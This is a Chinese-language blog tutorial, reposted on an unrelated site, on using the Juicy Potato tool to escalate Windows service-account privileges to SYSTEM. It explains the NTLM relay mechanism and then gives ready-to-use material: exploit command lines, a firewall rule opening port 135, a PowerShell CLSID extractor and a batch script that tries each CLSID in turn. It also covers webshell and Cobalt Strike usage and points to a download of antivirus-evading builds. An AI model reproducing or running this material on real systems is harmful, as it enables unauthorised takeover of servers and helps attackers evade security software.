提权小神器 |
您所在的位置:网站首页 › potato账号密码 › 提权小神器 |
0X00-Juicy-Potato简介
有技术交流或渗透测试培训需求的朋友欢迎联系QQ/VX-547006660 2000人网络安全交流群,欢迎大佬们来玩 群号820783253 Juicy Potato江湖人称烂土豆,是在MS16-075漏洞利用工具RottenPotatoN工具的基础上做了扩展(A sugared version of RottenPotatoNG, with a bit of juice, i.e. another Local Privilege Escalation tool, from a Windows Service Accounts to NT AUTHORITY\SYSTEM*) 追根到底是一款Windows的本地提权工具,利用了COM对象进行提权,相比RottenPotatoNG适用范围更加广泛(正如作者所说with a bit of juice) 使用Juicy Potato这款提权工具的前提是获得了SeImpersonate或者SeAssignPrimaryToken权限,因此带有一定的局限性,对权限有一定要求,并非万能神器 Juicy Potato的项目官网如下: https://github.com/ohpe/juicy-potato 这款提权工具其实早在18年末就有人开发出来了,但是吧,依然没有进入到很多人的视野中,今天写这篇文章也是站在很多大佬的肩膀上进行总结与开新枝,如有错误,希望大家能及时斧正 选择你想要的任何CLSID。 目前作者的官方github项目中已经给出了windows版本的CLSID列表。 ②COM Listening port设置你需要的COM侦听端口 ③COM Listening IP address设置COM组件监听的目标ip ④Process creation mode取决于模拟用户的权限,有以下三个选择: CreateProcessWithToken (需要SeImpersonate权限) CreateProcessAsUser (需要SeAssignPrimaryToken权限) both(综合以上两种) ⑤Process to launch如果JuIcy potato利用成功,则启动可执行文件或脚本 ⑥Process Argument自定义已启动的进程参数 ⑦与远程RPC服务器交互 0x02-Juicy-Potato局限性①当前用户必须具有以下权限中的一种,或者两种同时具备 SeImpersonate权限 SeAssignPrimaryToken权限 以下用户具有该权限: · 本地管理员组成员和本地服务帐户 · 由服务控制管理器启动的服务 · COM基础结构启动的并配置为在特定帐户下运行的COM服务器 针对提权的话,主要是第三类用户常见的为LocalService用户,例如IIS和者sqlserver的用户 ②开启DCOM,并能找到可用的COM对象 ③开启RPC 0x03-原理(来自3g大佬)· LocalService用户默认具有SeImpersonate和SeAssignPrimaryToken权限 · 开启SeImpersonate权限后,能够在调用CreateProcessWithToken时,传入新的Token创建新的进程 · 开启SeAssignPrimaryToken权限后,能够在调用CreateProcessAsUser时,传入新的Token创建新的进程 Juicy Potato的实现流程如下: 1、加载COM,发出请求,权限为System 在指定ip和端口的位置尝试加载一个COM对象。 RottenPotatoNG使用的COM对象为BITS,CLSID为{4991d34b-80a1-4291-83b6-3328366b9097} 可供选择的COM对象不唯一,Juicy Potato提供了多个,详细列表可参考如下地址: https://github.com/ohpe/juicy-potato/blob/master/CLSID/README.md 2、回应步骤1的请求,发起NTLM认证 正常情况下,由于权限不足,当前权限不是System,无法认证成功。 3、针对本地端口,同样发起NTLM认证,权限为当前用户 由于权限为当前用户,所以NTLM认证能够成功完成。 RottenPotatoNG使用的135端口。 Juicy Potato支持指定任意本地端口,但是RPC一般默认为135端口,很少被修改。 4、分别拦截两个NTLM认证的数据包,替换数据,通过NTLM重放使得步骤1(权限为System)的NTLM认证通过,获得System权限的Token 重放时需要注意NTLM认证的NTLM Server Challenge不同,需要修正。 5、利用System权限的Token创建新进程 如果开启SeImpersonate权限,调用CreateProcessWithToken,传入System权限的Token,创建的进程为System权限。 如果开启SeAssignPrimaryToken权限,调用CreateProcessAsUser,传入System权限的Token,创建的进程为System权限 0x04-在命令行中使用 D:\>JuicyPotato.exe JuicyPotato v0.1 Mandatory args: -t createprocess调用: CreateProcessWithTokenW, CreateProcessAsUser, try both -p : 运行指定程序 -l : COM服务器侦听端口 Optional args: -m : COM服务器侦听地址 (默认 127.0.0.1) -a : 传递给程序命令行参数 (默认 NULL) -k : RPC服务器IP地址 (默认 127.0.0.1) -n : RPC服务器侦听端口 (默认 135) -c : CLSID (default BITS:{4991d34b-80a1-4291-83b6-3328366b9097}) -z 仅测试CLSID并打印令牌的用户1、查看当前用户权限,是否符合要求 whoami /priv 如果开启SeImpersonate权限,juicypotato的参数可以使用-t t 如果开启SeAssignPrimaryToken权限,juicypotato的参数可以使用-t u 如果均开启,可以选择-t * 如果均未开启,那么无法提权。 2、查看RPC默认端口是否为135 如果被修改(例如为111),juicypotato的参数可以使用-n 111指定RPC端口 如果系统禁用了RPC,并不是一定无法提权,需要满足如下条件: 找到另一系统,能够以当前用户的权限进行远程RPC登录,此时juicypotato的参数可以使用-k Windows默认配置下,允许135端口的入站规则即可进行远程RPC登录。 添加防火墙规则允许135端口入站的命令如下: netsh advfirewall firewall add rule name=“135” protocol=TCP dir=in localport=135 action=allow 3、选择可用的CLSID 参考列表 https://github.com/ohpe/juicy-potato/blob/master/CLSID/README.md 根据你的系统类型选择CLSID(EG:{9B1F122C-2982-4e91-AA8B-E071D54F2A4D}) 然后-c指定即可 相关系统使用的CLSID文末都给大家打包了 4、选择一个系统未占用的端口作为监听端口 -l参数指定即可 例如,最终参数如下: JuicyPotato.exe -t t -p c:\windows\system32\cmd.exe -l 1111 -c {9B1F122C-2982-4e91-AA8B-E071D54F2A4D}) 即使用SeImpersonate权限创建进程,监听端口1111,使用的CLSID为{8BC3F05E-D86B-11D0-A075-00C04FB68820}来进行提权 5.执行效果webshell中使用Juicy-Potato的提权的话 Juicy potato需要进行一些特殊处理,使其直接返回结果 实现起来比较简单,在我文章后附有文件JuicyPotato-webshell.exe 其默认使用的CLSID为{4991d34b-80a1-4291-83b6-3328366b9097} 直接执行JuicyPotato-webshell.exe -p “whoami” 或者JuicyPotato-webshell.exe -p “whoami” -c {XXXXX}即可 执行效果如图 官方给出的code如下 $ErrorActionPreference = "Stop" # Importing some requirements . .\utils\Join-Object.ps1 New-PSDrive -Name HKCR -PSProvider Registry -Root HKEY_CLASSES_ROOT $CLSID = Get-ItemProperty HKCR:\clsid\* | select-object AppID,@{N='CLSID'; E={$_.pschildname}} | where-object {$_.appid -ne $null} $APPID = Get-ItemProperty HKCR:\appid\* | select-object localservice,@{N='AppID'; E={$_.pschildname}} | where-object {$_.LocalService -ne $null} $RESULT = Join-Object -Left $APPID -Right $CLSID -LeftJoinProperty AppID -RightJoinProperty AppID -Type AllInRight | Sort-Object LocalService # Preparing to Output $OS = (Get-WmiObject -Class Win32_OperatingSystem | ForEach-Object -MemberName Caption).Trim() -Replace "Microsoft ", "" $TARGET = $OS -Replace " ","_" # Make target folder New-Item -ItemType Directory -Force -Path .\$TARGET # Output in a CSV $RESULT | Export-Csv -Path ".\$TARGET\CLSIDs.csv" -Encoding ascii -NoTypeInformation # Export CLSIDs list $RESULT | Select CLSID -ExpandProperty CLSID | Out-File -FilePath ".\$TARGET\CLSID.list" -Encoding ascii # Visual Table $RESULT | ogv部分系统中是无法正常提取的,会报错 在此贴上修复的powershell提取脚本 New-PSDrive -Name HKCR -PSProvider Registry -Root HKEY_CLASSES_ROOT | Out-Null $CLSID = Get-ItemProperty HKCR:\clsid\* | select-object AppID,@{N='CLSID'; E={$_.pschildname}} | where-object {$_.appid -ne $null} foreach($a in $CLSID) { Write-Host $a.CLSID }直接执行Powershell -ep bypass -f get-clid-2012.ps1即可 效果如图 官方给出的批处理脚本经过测试后,问题非常多,本人做了一下修改 code如下–juicypotato.bat @echo off :: Starting port, you can change it set /a port=10000 SETLOCAL ENABLEDELAYEDEXPANSION FOR /F %%i IN (CLSID.list) DO ( echo %%i !port! juicypotato-webshell.exe -c %%i -p "whoami" >> result.log set RET=!ERRORLEVEL! :: echo !RET! if "!RET!" == "1" set /a port=port+1 )执行后在同目录下生成一个result.log文件 记录测试不同CLSID使用烂土豆提权的结果 效果如图所示 随后根据log的相关输出,选择合适的CLSID进行权限提升即可 0x08-在Cobaltstrike中使用Juicypotato提权在Cobaltstrike中使用Juicypotato提取,是使用DLL注入的方式执行Juicypotato实现权限提升 但是缺陷比较明显,只能使用默认的CLSID({4991d34b-80a1-4291-83b6-3328366b9097})进行提权,如果想使用其他CLSID请参考命令行等执行方法 下载并解压reflectiveJuicyPotato.zip,在Cobaltstike中选择脚本管理器–>load加载juicypotato.cna脚本 随后我们在提权模块即可发现多了一个JuicyPotato 点击开始后,提权效果如图 权限提升至NT AUTHORITY\SYSTEM 0X09福利/实验资源下载本次实验环境中的原版JuicyPotato,JuicyPotato-webshell,Get-CLSID.ps1,批处理文件,Cobaltstrike脚本都已经给大家集成好了 听说JuicyPotato已经加入豪华全家桶系列?没事,咱有免杀版本 懂C的人也可以自己修改一下源代码,很好过杀软的 全部的脚本及程序下载 链接:https://pan.baidu.com/s/1lsbcCkZPSvHwhxsm8k_tuw 提取码:w6hl 0X10 Referencehttps://github.com/ohpe/juicy-potato/tree/master/CLSID/ https://github.com/ohpe/juicy-potato https://3gstudent.github.io |
今日新闻 |
推荐新闻 |
CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3 |